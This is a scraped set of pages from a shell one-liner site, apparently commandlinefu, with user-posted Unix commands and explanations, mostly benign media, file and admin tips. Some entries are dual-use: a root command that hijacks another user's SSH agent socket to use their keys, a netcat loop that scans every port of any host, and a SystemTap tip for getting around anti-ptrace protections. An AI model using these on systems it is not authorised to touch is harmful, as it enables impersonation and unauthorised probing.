for command like : mkdir, chown, ls, less... ffmpeg -i video.avi -vcodec copy -acodec copy -ss 00:00:00 -t 00:00:04 trimmed_video.avi How to trim a video using ffmpeg Will trim the video to 4 seconds starting from the beginning. The -vcodec , -acodec options are required so that ffmpeg knows in what video/audio format you want for the new video. ls -d $PWD/* cvlc v4l2:// & Webcam view with vlc Quick command to test your webcam. Press 'f' to toggle fullscreen. Can also use 'vlc v4l2://' if you want gui controls. For higher/smoother framerate lower the default resolution: cvlc v4l2:// :v4l2-width=320 :v4l2-height=240 & find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \; This command copies all filenames in the current dir and subdirs that end in .mp3 regardless of case (also matches .MP3 .mP3 and .Mp3) It copies all the files to the "mp3" folder in your home directory. If you want to see the files that are beeing copied, replace "cp {}" with "cp -v {}" find /dev/vg00 -type b |while read L; do lvextend -m 1 $L /dev/disk/<disk> ; done Mirror every lvol in vg00 in hp-ux 11.31 TIME=$( { time YOUR_COMMAND_HERE; } 2>&1 ) ; echo $TIME $ TIME=$( { time host reddit.com; } 2>&1 ) ; echo $TIME reddit.com has address 63.85.36.40 reddit.com has address 63.85.36.74 reddit.com mail is handled by 10 mail.reddit.com. real 0m0.201s user 0m0.001s sys 0m0.001s Functions: echo time Redirect bash built-in output to stdout I've had a horrible time trying to pipe the output of some shell built-ins like 'time' to other programs. The built-in doesn't output to stdout or stderr most of the time but using the above will let you pipe the output to something else. echo $(shuf -n4 /usr/share/dict/words) r?vasser crissait hypnotiserons sursitaire Generate an XKCD #936 style 4 word passphrase (fast) Some snippets posted are slow on big dictionaries, this one is fast. find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d%H%M%S"` -E "s/$TEXT1/$TEXT2/g" Search specified $TEXT1 and Replace that by specified arg ($TEXT2) [[ -d dir ]] || mkdir dir ; cd dir Functions: cd dir mkdir Go to directory or creat it and go to For use in scripts this command is very usefull for f in *.html; do sed '$d' -i "$f"; done remove the last of all html files in a directory sed can be used deleting the last line and with -i option, there's no need to for temp files, the change is made on the actual file echo "ulimit `ulimit -a|sed -e 's/^.*\([a-z]\))\(.*\)$/-\1\2/'|tr "\n" ' '`" ulimit -c 0 -d unlimited -e 0 -f unlimited -i 155648 -l 32 -m unlimited -n 8192 -p 8 -q 819200 -r 0 -s 10240 -t unlimited -u unlimited -v unlimited -x unlimited Quickly build ulimit command from current values It is helpful to know the current limits placed on your account, and using this shortcut is a quick way to figuring out which values to change for optimization or security. Alias is: alias ulimith="command ulimit -a|sed 's/^.*\([a-z]\))\(.*\)$/-\1\2/;s/^/ulimit /'|tr '\n' ' ';echo" Here's the result of this command: ulimit -c 0 -d unlimited -e 0 -f unlimited -i 155648 -l 32 -m unlimited -n 8192 -p 8 -q 819200 -r 0 -s 10240 -t unlimited -u unlimited -v unlimited -x unlimited ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 155648 max locked memory (kbytes, -l) 32 max memory size (kbytes, -m) unlimited open files (-n) 8192 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 10240 cpu time (seconds, -t) unlimited max user processes (-u) unlimited virtual memory (kbytes, -v) unlimited file locks (-x) unlimited acpi -b | sed 's/,//g' | awk '{print $3}' Functions: acpi awk sed This prints "Charging" or "Discharging". Obviously, this will indicate the status of the AC adapter. The awk part could be from 1-6. I removed the comma because it is useless when only looking at one element of the output array. See acpi(1) for more info. ls *.jpg | awk -F'.' '{ printf "%s %04d.%s\n", $0, $1, $2; }' | xargs -n2 mv mv 10.jpg 0010.jpg mv 11.jpg 0011.jpg mv 12.jpg 0012.jpg mv 13.jpg 0013.jpg mv 14.jpg 0014.jpg mv 15.jpg 0015.jpg mv 16.jpg 0016.jpg mv 17.jpg 0017.jpg mv 18.jpg 0018.jpg mv 19.jpg 0019.jpg mv 1.jpg 0001.jpg mv 20.jpg 0020.jpg mv 21.jpg 0021.jpg mv 22.jpg 0022.jpg mv 23.jpg 0023.jpg mv 24.jpg 0024.jpg mv 25.jpg 0025.jpg mv 2.jpg 0002.jpg mv 3.jpg 0003.jpg mv 4.jpg 0004.jpg mv 5.jpg 0005.jpg mv 6.jpg 0006.jpg mv 7.jpg 0007.jpg mv 8.jpg 0008.jpg mv 9.jpg 0009.jpg Functions: awk ls printf xargs rename file name with fixed length nomeric format pattern rec -c 2 -r 44100 -s -t wav file.wav Record active input of soundcard to file.wav You'll need sox package in Debian/Ubuntu. grep -ao -HP "http://[^/]*/" * Shows the torrent file name along with the trackers url Replace * with any filename matching glob or an individual filename while true;do clear;echo -n Current\ `grep voltage /proc/acpi/battery/BAT0/state | awk '{print $2" "$3" "$4}'`;for i in `seq 1 5`;do sleep 1;echo -n .;done;done Current voltage: 11747 mV.. Functions: awk sleep With progress bar.. hahaa this is friggin' kludge convert -compress jpeg *.jpg mydoc.pdf Generate a (compressed) pdf from images use imagemagik convert ‹ First < 173 174 175 176 177 > Last › perl -e 'if(opendir D,"."){@a=readdir D;print $#a-1,"\n"}' Efficient count files in directory (no recursion) time perl -e 'if(opendir D,"."){@a=readdir D;print $#a - 1,"\n"}' real 0m0.497s user 0m0.220s sys 0m0.268s time { ls |wc -l; } real 0m3.776s user 0m3.340s sys 0m0.424s ********* ** EDIT: turns out this perl liner is mostly masturbation. this is slightly faster: find . -maxdepth 1 | wc -l sh-3.2$ time { find . -maxdepth 1|wc -l; } real 0m0.456s user 0m0.116s sys 0m0.328s ** EDIT: now a slightly faster perl version perl -e 'if(opendir D,"."){++$c foreach readdir D}print $c-1,"\n"' sh-3.2$ time perl -e 'if(opendir D,"."){++$c foreach readdir D}print $c-1,"\n"' real 0m0.415s user 0m0.176s sys 0m0.232s Readd all files is missing from svn repo When working on a big proeject with SVN, you create quite much files, for now! Can just sit here and type svn add for all of them! svn status will return a list of all of file which get ?(not add), "M"(Modified), "D"(Deleted)! This code just grep "?" flag, then add it into SVN again! grep -o -h -rE '".*"' * | ispell -l -p ~/mydict | sort -u Functions: grep ispell sort check spell in c source code expr `find . -type f -printf "%s + "0` mplayer -af volnorm=2:0.75 dvd:// Normalize volume output in MPlayer Works really well for playing DVDs, which have the volume turned way down for some reason. The `2' method is better IMHO because it will adjust to changing loud/soft parts. If you want to add it to your ~/.mplayer/config: # format: volnorm[=method:target] # method: # 1: use single sample (default) # 2: multiple samples # target: # default is 0.25 af-add=volnorm=2:0.75 for host in host1 host2 host3; do ssh -n user@$host <command> > $host.log & done; wait Execute a command on multiple hosts in parallel Ssh to host1, host2, and host3, executing on each host and saving the output in {host}.log. I don't have the 'parallel' command installed, otherwise it sounds interesting and less cryptic. RES=`xrandr | grep '*' | sed 's/\s*\([0-9x]*\).*/\1/'`; echo $RES 1366x768 Gets the X11 Screen resolution Requires xrandr, grep and, sed. printf %d 0x`dd if=/dev/urandom bs=1 count=4 2>/dev/null | od -x | awk 'NR==1 {print $2$3}'` 3312123358 Functions: awk od printf Big (four-byte) $RANDOM Sometimes, in a shell script, you need a random number bigger than the range of $RANDOM. This will print a random number made of four hex values extracted from /dev/urandom. /usr/dt/bin/dtconfig -d done desktop auto-start disabled. With a full installation of Solaris 10, the graphical login and desktop will start by default. This command will disable that feature. To enable it again use: /usr/dt/bin/dtconfig -e URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}' http://socialmedia.globalthoughtz.com/index.php/facebook-database-outage-cut-off-about-150-thousand/ Get full URL via http://untr.im/api/ajax/api Get full url via untr.im ls -d1 $PWD/{.*,*} useradd -s /sbin/nologin nicdev Functions: useradd Creat a new user with no shell. Useful to provide other services without giving shell access. date --date="$(openssl x509 -in xxxxxx.crt -noout -startdate | cut -d= -f 2)" --iso-8601 2009-02-01 Output a SSL certificate start or end date A quick and simple way of outputting the start and end date of a certificate, you can simply use 'openssl x509 -in xxxxxx.crt -noout -enddate' to output the end date (ex. notAfter=Feb 01 11:30:32 2009 GMT) and with the date command you format the output to an ISO format. For the start date use the switch -startdate and for end date use -enddate. mplayer -fs -vf screenshot,mirror tv:// Instant mirror from your laptop + webcam (fullscreen+grab) This directly puts the "mirror" into fullscreen, and lets you take photos by pressing the 's' key. I bet appearance conscious people will have keyboard shortcut for this command by now. ipcs ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status ------ Semaphore Arrays -------- key semid owner perms nsems ------ Message Queues -------- key msqid owner perms used-bytes messages Functions: ipcs Provide information on IPC (Inter-process communication) facilities Get information about Shared Memory Segments, Semaphore Arrays and Message Queues. Summary: ipcs -u dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32:<WANTED STATE> Changes pidgin status using its dbus interface. The status code can be obtained using command #4543. find . -name '*.?pp' -exec grep -H "string" {} \; netstat -n | grep '^tcp.*<IP>:<PORT>' | tr " " | awk 'BEGIN{FS="( |:)"}{print $6}' | sort | uniq -c | sort -n -k1 | awk '{if ($1 >= 10){print $2}}' Functions: awk grep netstat sort tr uniq To find which host made maximum number of specific tcp connections This command is primarily going to work on linux boxes. and needs to be changed, for example IP=10\.194\.194\.2 PORT=389 debsums -s Check hashes of files installed by Debian packages, reporting only errors. wget -A mp3,mpg,mpeg,avi -r -l 3 http://www.site.com/ recursively walk down no more than three levels and grab any file with an extension of mp3, mpg, mpeg, or avi find . -name "*.pdf" -print0 | xargs -0 cp -t downloads/ Use -t when using find and cp -t, --target-directory=DIRECTORY (copy all SOURCE arguments into DIRECTORY). mstsc /w:1500 /h:900 /v:www.example.com Open a Remote Desktop (RDP) session with a custom resolution. Using a widescreen monitor, I often get annoyed that the RDP window is too high, or too narrow for what I want to display. In this example, I'm on a 1680 x 1050 display. perl -i -pe 'BEGIN{undef $/;} s/START.*?STOP/replace_string/smg' file_to_change $ cat file_to_change aaa START bbb STOP ccc ddd $ perl -i -pe 'BEGIN{undef $/;} s/START.*?STOP/replace_string/smg' file_to_change replace_string Multiline Search/Replace with Perl from http://stackoverflow.com/questions/1030787/multiline-search-replace-with-perl added greedy trick in wildcard match (.*?) from http://www.troubleshooters.com/codecorn/littperl/perlreg.htm#Greedy curl -s "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6 rsync -rv --include '*/' --include '*.jar' --exclude '*' srcDir desDir Copy files based on extension with recursive and keeping directory structure Copy file theo phần mở rộng c? đệ quy v? giữ nguy?n cấu tr?c thư mục Replace "jar" by extension which you need. ‹ First < 174 175 176 177 178 > Last › export SSH_AUTH_SOCK=`find /tmp/ssh* -type s -user [user] -mtime -1 | head -1` # export SSH_AUTH_SOCK=`find /tmp/ssh* -type s -user joeuser -mtime -1 | head -1` linux:/tmp/ssh-WjKuI4788 # ssh-add -l 2048 00:11:22:33:44:55:66:77:88:99:AA:BB:CC:DD:EE:FF /home/joeuser/.ssh/id_rsa (RSA) # ssh joeuser@remote joeuser@remote> Functions: export head Ride another SSH agent Must be done as root - will cause subsequent ssh connections to use the identities available via the [user]'s agent socket. curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/' shorten url using curl, sed and is.gd Just create a function in your .bashrc like this shorturl() { curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s\n %s\n %s\n\n\n", $6, $4, $2)}' random xkcd comic as xml sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' | sort | uniq -c Functions: awk sort sudo uniq This command will return a full list of Error 404 pages in the given access log. The following variables have been given to awk Hostname ($2), ERROR Code ($9), Missing Item ($7), Referrer ($11) You can then send this into a file (>> /path/to/file), which you can open with OpenOffice as a CSV alias termsize='echo $COLUMNS x $LINES' s3cmd ls s3://bucket.example.com | s3cmd del `awk '{print $4}'` find /deep/tree/ -type f -print0|xargs -0 -n1 -I{} ln -s '{}' . Functions: find ln xargs Link a deep tree of files all into on directory If you want to pull all of the files from a tree that has mixed files and directories containing files, this will link them all into a single directory. Beware of filesystem files-per-directory limits. dd if=/dev/sda of=/home/sam/MBR.image bs=512 count=1 Step#2 Create a copy of the bootload and partition table! ls | grep -Eo "\..+" | sort -u .tar.bz2 .pdf .pl .py .pyc .tex A shorter version xxd -p <<< Even adds a newline. ifconfig eth0:1 192.168.0.1/24 share internet connection with only one network interface the below command create a alias for share your internet connection with another. Its obviously necessary too activate the iptables post-routing and ip forwarding, as root: modprobe iptable_nat iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE echo 1 > /proc/sys/net/ipv4/ip_forward Be sure that the alias 192.168.0.0/24 is not your active real ip range inplace() { eval F=\"\$$#\"; "$@" > "$F".new && mv -f "$F".new "$F"; } $ inplace nl textfile (number lines of textfile in-place) $ inplace awk '{print NF,$0}' somefile (adds field counter to a file) $ inplace nroff -man page.1 (convert manpage source to readable "catpage") $ inplace sort textfile (sort the lines of a file in-place) $ inplace sed s/foo/bar/g myfile (This just serves as an example, sed has an -i option for in-place editing anyway) Functions: eval mv Generic shell function for modifying files in-place Some commands (such as sed and perl) have options to support in-place editing of files, but many commands do not. This shell function enables any command to change files in place. See the sample output for many examples. The function uses plain sh syntax and works with any POSIX shell or derivative, including zsh and bash. netstat -an | awk '/tcp/ {print $6}' | sort | uniq -c 9 ESTABLISHED 9 LISTEN 1 SYN_SENT Count TCP States From Netstat Counts TCP states from Netstat and displays in an ordered list. sudo apt-get -o Acquire::http::Dl-Limit=20 -o Acquire::https::Dl-Limit=20 upgrade -y apt-get upgrade with bandwidth limit in Debian-based systems apt-get could be limited to the specified bandwidth in kilobytes using the apt configuration options(man 5 apt.conf, man apt-get). I'd quote man 5 apt.conf: "The used bandwidth can be limited with Acquire::http::Dl-Limit which accepts integer values in kilobyte. The default value is 0 which deactivates the limit and tries uses as much as possible of the bandwidth..." "HTTPS URIs. Cache-control, Timeout, AllowRedirect, Dl-Limit and proxy options are the same as for http..." ffmpeg -i movie.mkv -target vcd movie.avi Convert mkv to SVCD/DivX ffmpeg supports mkv tar cfvz - /home/user | netcat -l -p 10000 tar a directory and send it to netcat tar's directory and sends to netcat listening on port 10000 On the client end: netcat [server ip] 10000 | tar xfvz - This will send it over the network and extract it on the clients machine. python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("", )); print s.getsockname()[0] ; s.close() ;' 2> /dev/null $ python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("www.google.com", 80)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null 192.168.26.198 retrieve the source address used to contact a given host on multihomed hosts, connected to several networks, could be usefull to know the source address (local ip address) used to reach the target host, this command does not require root priviledges. The command use a TCP socket, if there is any error the command return an empty string, elsewhere return a valid ip address. ip addr add 192.168.10.1/24 dev eth0 add a ip address to a network device Allows to add more than one ip address to one network device. python -c "print 'this is a test'.title()" Convert a string to pacman -Qu archlinux: check which repository packages have updates available Shows which packages from the official repositories (not aur) have updates available. For most accurate output, the mirrors and package lists should be up to date. host -t mx foo.org foo.org mail is handled by 10 nullmx.foo.org. command is shorter, output unnecessary longer curl -s http://sputnick-area.net/ip comm file1 file2 | sed -e 's/^[^\t].*/\x1b[33m&\x1b[0m/' -e 's/^\t[^\t].*/\x1b[36m&\x1b[0m/' -e 's/^\t\t[^\t].*/\x1b[32m&\x1b[0m/' comm <(printf "123\n456\n") <(printf "123\n789\n") | sed -e 's/^[^\t].*/\x1b[33m&\x1b[0m/' -e 's/^\t[^\t].*/\x1b[36m&\x1b[0m/' -e 's/^\t\t[^\t].*/\x1b[32m&\x1b[0m/' 456 Functions: comm sed colorize comm output It just colorizes the line based on if it has 0, 1 or 2 tabs at the beginning of the line. Won't work so well if lines already begin with tabs (too bad comm doesn't have an option to substitute \t for something else). sysctl dev.cpu.0.freq_levels dev.cpu.0.freq_levels: 1200/13000 1050/11375 900/9750 750/8125 600/6500 find available cpu frequencies on FreeBSD Once you know the available frequencies for your CPU, they can be used to do things like set minimum CPU frequency for powerd so that it doesn't ramp down too slow on a server : /etc/sysctl.conf or /boot/loader.conf: debug.cpufreq.lowest=DESIRED FREQ HERE or at terminal sysctl debug.cpufreq.lowest=DESIRED FREQ HERE ‹ First < 175 176 177 178 179 > Last › bm() { export BM${1?"bookmark name missing"}="$PWD" ; }; forget() { unset BM${1?"bookmark name missing"} ; } $ cd /home/user/very/complicated-and-quirky/dir.ectory/name/foo $ bm foo $ cd /var/log/apache2 /var/log/apache2 $ # many commands and cd's later... $ cd $BMfoo # you can use bash's autocompletion mechanism /home/user/very/complicated-and-quirky/dir.ectory/name/foo Functions: export unset pushd and popd are your friends, but sometimes they're just incompatible with the way one works... Two shell functions: bm bookmarkname - "bookmarks" the current directory, just 'cd $BMbookmarkname' to return to it. forget bookmarkname - unsets the 'bookmarkname' variable. It isn't mandatory, they cease to exist when the session ends. echo "Hello World." | tee -a hello.txt $ echo "Hello World." | tee -a hello.txt Hello World. $ cat hello.txt Functions: echo tee bash or tcsh redirect both to stdout and to a file When plumbers use pipes, they sometimes need a T-joint. The Unix equivalent to this is 'tee'. The -a flag tells 'tee' to append to the file, rather than clobbering it. Tested on bash and tcsh. time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; } port 22 opened port 80 opened port 631 opened port 3306 opened port 3690 opened port 6665 opened port 6666 opened port 6667 opened port 6668 opened port 6669 opened port 7048 opened port 8079 opened port 8280 opened port 8885 opened port 8888 opened port 9127 opened port 23791 opened port 23943 opened port 33556 opened port 34482 opened port 39447 opened port 48030 opened port 51687 opened real 4m33.201s user 1m16.657s sys 2m42.194s in loop, until the last port (65535), list all opened ports on host. in the sample I used localhost, but you can replace with any host to test. sudo deborphan | xargs sudo apt-get -y remove --purge Functions: sudo xargs remove oprhan package on debian based system seq 1 3 20 | sed -n '1{h;d};H;x;s/\n/\t/p' | awk '{printf("%d - %d = %d\n", $2, $1, $2-$1)}' subtraction between lines defaults write com.apple.Dock showhidden -bool YES Functions: write Turns hidden applications transparent in the Mac OS X dock. In Mac OS X, pressing Command+H will hide an application. While that application's windows vanish, there is no other visual feedback, meaning there is no immediate distinction between an application running with no windows open and a hidden application. This command turns hidden applications' icons transparent, providing a clear and obvious distinction. Change YES to NO to restore the previous functionality. rlwrap mosml MoscowML with editable input-line and history Works also with SML/NJ and other interpreters or tools with interactive environments. git log --pretty=format:%H | tail -1 Get first Git commit hash git log --format=%H | tail -1 doesn't work anymore grep -lir "sometext" * > sometext_found_in.log I find this format easier to read if your going through lots of files. This way you can open the file in any editor and easily review the file tr '\n' '\t' < inputfile converting vertical line to horizontal line for i in {a..z} ; do man -k $i |grep -i "^$i" |wc | awk 'BEGIN { OFS = ":"; ORS = "" }{print $1, "\t"}' && echo $i ;done 302: a 399: b 299: c Functions: awk echo grep man wc Count the number of man pages per first character (a-z) There once was a day I needed this info. ls | sed 's,\(.*\),"\1",' "foo" "bar " " " I had a file named " " (one space) and needed a way to see what the real filename was so I could remove it. sed to the rescue. svn log -r '{YYYY-MM-DD}:{YYYY-MM-DD}' | sed -n '1p; 2,/^-/d; /USERNAME/,/^-/p' | grep -E -v '^(r[0-9]|---|$)' | sed 's/^/* /g' $ svn log -r '{2010-12-10}:{2010-12-11}' | sed -n '1p; 2,/^-/d; /antic/,/^-/p' | grep -E -v '^(r[0-9]|---|$)' | sed 's/^/* /g' * Commit message 5 * Commit message 4 * Commit message 3 Get a Bulleted List of SVN Commits By a User for a Specifc Day (Daily Work Log) * Replace USERNAME with the desired svn username * Replace the first YYYY-MM-DD with the date you want to get the log (this starts at the midnight event that starts this date) * Replace the second YYYY-MM-DD with the date after you want to get the log (this will end the log scan on midnight of the previous day) Example, if I want the log for December 10, 2010, I would put {2010-12-10}:{2010-12-11} slapcat -n 1 > /backup/`date "+%Y%m%d"`.ldif Backup your LDAP Simple way to backup your LDAP entries: put this line on your crontab. The -n switch identifies the dbnum you want to backup (alternatively you can use -b suffix. Check man slapcat for your personal switches) quickfind () { find . -maxdepth 2 -iname "*$1*" } Quick find function A function that allows you to perform a case-insensitive search in the current directory, and directories in the current directory (but no further), for files containing the first argument anywhere in their names. $ right(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})));echo "$(while ((j-->0)); do printf " ";done;)$l";done;}; ls --color=none / | right Functions: echo ls read wc Right-align text in console using pipe like ( command | right ) tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}' Functions: awk tail Print unique ipaddresses as they come in from Apache Access Log File Prints the unique IP Addresses as they arrive from an Apache `access.log` file. The '-W interactive' tells awk to start writing to stdout immediately and not buffer the output. This command builds on the uniq lines without sorting command (http://www.commandlinefu.com/commands/view/4389/remove-duplicate-entries-in-a-file-without-sorting.) sed -i 's/ /-/g' * Replace spaces in a file with hyphens { var="$( ls / | tee >(cat - >&2) )"; } 2>&1; echo -e "*** var=$var" boot *** var=[bin ...] get stdout to variable and stdout at sametime Sometimes you want to write the script output to stdout but you need to send it to email. If you use: var="$( ls / )"; echo -e "$var"; works but, you need to wait the script terminate to bufferize then print the output var; With this way, you can use/work/print the output before the variable receive all the output content, then after it you can use the variable for anything else, like send email. grep -L "string" filename* find files beginning with filename* that do not include "string" Inverse grep, to find files without the string trap "echo \"$0 process $$ killed on $(date).\" | tee ${0##*/}_$$_termination.log; echo 'Active processes at the time were logged to ${0##*/}_$$_termination.log'; ps u >> ${0##*/}_$$_termination.log; exit " HUP INT QUIT ABRT TERM STOP ./traptest.sh process 11009 killed on Wed Feb 18 12:08:09 PST 2009. Active processes at the time were logged to traptest.sh_11009_termination.log A signal trap that logs when your script was killed and what other processes were running at that time trap is the bash builtin that allows you to execute commands when the current script receives a particular signal. Uses $0 for the script name, $$ for the script PID, tee to output to STDOUT as well as a log file and ps to log other running processes. ifconfig | awk -F':| +' '/ddr:/{print $4}' and, a lot uglier, with sed: ifconfig | sed -n '/inet addr:/s/[^:]\+:\(\S\+\).*/\1/p' Wanted to be shorter than the perl version. Still think that the perl version is the best.. IFS=:; find $PATH | grep pattern $ IFS=:; find $PATH | grep php /usr/bin/php /usr/bin/php5 /usr/bin/phpdoc /usr/bin/phpuc /usr/bin/phpcs /usr/bin/phpunit Searches $PATH for files using grep Best to put it in a file somewhere in your path. (I call the file spath) IFS=:; find $PATH | grep $1 Usage: $ spath php feh --bg-scale /path/to/wallpaper.jpg Change wallpaper visudo Edit the /etc/sudoers config file the right way. 'visudo' is installed by default on most Unix-like systems. If not installed, you can get it from the 'sudo' package. 'visudo' will use the text editor found in your $EDITOR variable, whether it's vi, vim, emacs, nano or gedit. After making changes to the /etc/sudoers file, visudo will check for syntax errors, and notify you of them. This is better than 'vi /etc/sudoers', because of this capability. Rule #1 of system administration- if there is a tool that exists for editing config files, use the tool. ‹ First < 176 177 178 179 180 > Last › $php_dir/bin/php -i | grep configure /usr/bin/php -i | grep configure to see about php configure see about php install configure loadkeys uk Functions: loadkeys Change the console keyboard layout find . *oldname* | grep oldname | perl -p -e 's/^(.*)(oldname)(.*$)/mv $1$2$3 $1newname$3/' | sh Functions: find grep perl Recursive replace of directory and file names in the current directory. This should work anywhere perl and grep is available. :P awk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file Take a file as input (two columns data format) and sum values on the 2nd column for all lines that have the same value in 1st column cat </tmp/foo 5 45 4 10 5 20 EOF awk '{a[$1] += $2} END { for (i in a) {print i "=" a[i]}}' /tmp/foo 4=20 5=65 acpi -a trickle sudo apt-get update -y Trickle is here: http://monkey.org/~marius/pages/?page=trickle Trickle is a simple bandwidth limiter find . -type f ! -iwholename \*.svn\* -print0 [ | xargs -0 ] find files ignoring .svn and its decendents for when find . -print | grep -v .svn | xargs doesnt cut it. for line in `cat $file`; do firefox -new-tab "$line" & 2>/dev/null; sleep 1; done Open multiple tabs in Firefox from a file containing urls this will open a new tab in firefox for every line in a file the sleep is removable but i found that if you have a large list of urls 50+, and no sleep, it will try to open all the urls at once and this will cause them all to load a lot slower, also depending on the ram of your system sleep gives you a chance to close the tabs before they overload your ram, removing & >2/dev/null will yield unpredictable results. $ unzip -p some-jar-file.jar META-INF/MANIFEST.MF Split() { eval "$1=( \"$(echo "${!1}" | sed "s/$2/\" \"/g")\" )"; } Example usage : $ TEST="jhfz:lkhf :lhf:h0258:r" $ Split TEST ":" $ echo ${TEST[@]} "jhfz" "lkhf " "lhf" "h0258" "r" It works as a method applicated to a variable, converts the string variable into an array git log -p -z | perl -ln0e 'print if /[+-].*searchedstring/' See all the commits for which searchstring appear in the git diff package=$1; list=/var/lib/dpkg/info/${package}.list; inst=$(stat "$list" -c %X); cat $list | (while read file; do if [ -f "$file" ];then acc=$(stat "$file" -c %X); if [ $inst -lt $acc ]; then echo used $file; exit 0; fi; fi; done; exit 1) vadim@gaendalf:~$ wasused mc used /usr/bin/mcedit vadim@gaendalf:~$ wasused netbeans-platform vadim@gaendalf:~$ echo $? vadim@gaendalf:~$ Functions: cat echo exit read stat Check if the Debian package was used since its installation/upgrade. This script compares the modification date of /var/lib/dpkg/info/${package}.list and all the files mentioned there. It could be wrong on noatime partitions. Here is non-oneliner: package=$1; list=/var/lib/dpkg/info/${package}.list; inst=$(stat "$list" -c %X); cat $list | ( while read file; do if [ -f "$file" ]; then acc=$(stat "$file" -c %X); if [ $inst -lt $acc ]; then echo used $file fi; ) find . -type d -name .svn -prune -o -type f -print0 | xargs -r0 ... mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts fixed_quant=4 Foo.wmv -o Bar.avi convert wmv into xvid avi format mogrify -trim *png Trim png files in a folder That should be a short as it can get. service --status-all | grep running list services running (as root) A quick way to list services running SERVER: nc -l p 666 CLIENT: telnet -l -p 666 Have netcat listening on your ports and use telnet to test connection This will start a netcat process listening on port 666. If you are able connect to your your server, netcat will receive the data being sent and spit it out to the screen (it may look like random garbage, so you might want to redirect it to a file). ls | xargs -n1 gzip GZip all files in a directory separately mplayer dvd://1 -dumpstream -alang es -dumpfile "$dirDestino"/"$tituloDVD".mpg && ffmpeg -i "$dirDestino/$tituloDVD.mpg" -acodec libmp3lame -alang spa -vcodec libx264 -crf 26 -vpre hq -threads 0 "$dirDestino/$tituloDVD.mp4" Make backups of your home DVDs easily. Other: mencoder dvd://1 -o "$targetDir/$dvdTitle.avi" -aid "$audioID" -ovc x264 -x264encopts qp=26:frameref=3:bframes=15:direct_pred=auto:cabac:weight_b:partitions=all:8x8dct:me=esa:me_range=24:subq=7:mixed_refs:trellis=2:bitrate=1000:nofast_pskip:threads=0 -oac mp3lame mv -vi file{,~} $ mv -vi file{,~} `file' -> `file~' add a backup (or any other) suffix to a file Very helpful when you've got complex filenames and needs to change just some small parts of it. Renaming a file called "i-made-a-small-typo-right-here" to "i-made-a-big-typo-right-here": mv -vi i-made-a-{small,big}-typo-right-here You could also copy multiple files, edit, remove, process, etc. gzip * nwmgr -q info -c lan0 get detailed info about a lan card on HP-UX 11.31 dpkg -l | cut -d' ' -f 3 | grep ^python$ Check the package is installed or not. There will show the package name which is installed. The ^python$ is a package name patten. You can change whatever you want. VBoxManage modifyvm "vm-name" --memory 256 --acpi on --ioapic off --pae on --hwvirtex on --nestedpaging on Virtualbox: setup hardware where - memory 256 assign 256 Mb RAM - acpi on enable ACPI (mandatory if you use Winfog 2000 - ioapic off disable the IO APIC. Not useful if you use one CPU (on virtual machine or a 32 bit operative system). As ACPI, this switch is mandatory for Winbug 2000 - pae on enable the Phisical Address Extension how to use more than 4Gb of RAM on x86 CPU - hwvirtex on enables hardware virtualization extensions for microprocessors that have this feature (which should be also enabled in the BIOS of the motherboard) - nestedpaging on allows part of the processes of memory management hardware are made directly stat -c "%s" File size ‹ First < 177 178 179 180 181 > Last › (sp-sc sop://broker.sopcast.com:3912/6002 3900 8900 &>/dev/null &); sleep 10; mplayer http://localhost:8900/tv.asf View a sopcast stream Get sopcast links for live sports from http://myp2p.eu (for example) Get sp-sc or sp-auth binary by googling (sopcast + linux) eg http://www.jbg.f2s.com/sp-sc.gz Requires the 32bit libstdc++5 package. After exiting mplayer, type 'killall sp-sc' this works for a Linux based system, other UNIX systems may have other way(s) to check the number of CPUs. tar -jcvf /folder/file.tar.bz2 --same-owner --same-permissions /folder/ Compress a file or directory keeping the owner and permissions python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]" 201.201.2.3 Using scapy to get the IP of the iface used to contact local gw (i.e. supposed host IP) You need python-scapy package PROMPT_COMMAND=command Execute a command before display the bash prompt For example, if you are the type who type ls very often, then PROMPT_COMMAND=ls will ls after every command you issue. ss -ln | awk '$3~/([0-9]+)/{print $3}' | sed 's/.*\:\([0-9]\+\)$/\1/' 8080 80 8005 3306 Get listening ports on a localhost ss is a tool that will help you to get all kinds of useful information about the current sockets on a localhost. You can also get the uid of the daemons process using the flag: ss -le stap -v strace.stp -c /path/to/command using stap it is possible to circumvent anti-ptrace protections inside binaries. strace like SystemTap script The stap script is : #! /usr/bin/env stap probe syscall.* { if (pid() == target()) printf("%s %s\n", name, argstr); for i in `find -name '*oldname*'`; do "mv $i ${i/oldname/newname/}"; done no grep, no perl, no pipe. even better in zsh/bash4: for i in **/*oldname*; do "mv $i ${i/oldname/newname/}"; done No find, no grep, no perl, no pipe find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqlite3 {} 